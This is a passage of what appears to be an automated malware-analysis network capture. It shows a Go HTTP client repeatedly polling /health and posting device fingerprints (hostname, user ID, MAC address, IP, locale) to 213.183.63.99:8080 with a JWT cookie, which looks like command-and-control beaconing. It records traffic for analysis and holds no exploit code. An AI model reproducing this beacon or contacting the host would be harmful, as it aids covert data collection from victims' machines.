              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 34 32 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076342}
              Nov 27, 2023 10:12:23.885622025 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:23 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:27.074321985 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:27.277515888 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:27 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:28.953032017 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 34 37 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076347}
              Nov 27, 2023 10:12:29.162070990 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:29 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:32.163367033 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:32.366130114 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:32 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:32.923979998 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 35 31 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076351}
              Nov 27, 2023 10:12:33.132160902 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:33 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:36.133266926 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:36.335901976 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:36 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:36.890369892 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 35 35 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076355}
              Nov 27, 2023 10:12:37.100423098 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:36 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:40.101702929 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:40.304655075 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:40 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:40.856095076 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 35 39 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076359}
              Nov 27, 2023 10:12:41.066114902 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:40 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:44.067797899 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:44.270402908 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:44 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:44.823168039 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 36 33 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076363}
              Nov 27, 2023 10:12:45.029983997 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:44 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:49.371644020 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:49.574310064 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:49 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:50.133074045 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 36 38 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076368}
              Nov 27, 2023 10:12:50.341698885 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:50 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:53.342760086 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:53.545542955 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:53 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:54.102040052 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 37 32 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076372}
              Nov 27, 2023 10:12:54.309473991 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:54 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:57.316050053 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:57.519480944 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:57 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:58.087982893 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 37 36 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076376}
              Nov 27, 2023 10:12:58.297277927 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:58 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:01.298338890 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:01.503215075 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:01 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:02.262689114 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 38 30 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076380}
              Nov 27, 2023 10:13:02.473054886 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:02 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:05.474217892 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:05.676893950 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:05 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:06.226624012 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 38 34 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076384}
              Nov 27, 2023 10:13:06.434288025 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:06 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:09.437474012 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:09.640115023 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:09 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:10.190026045 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
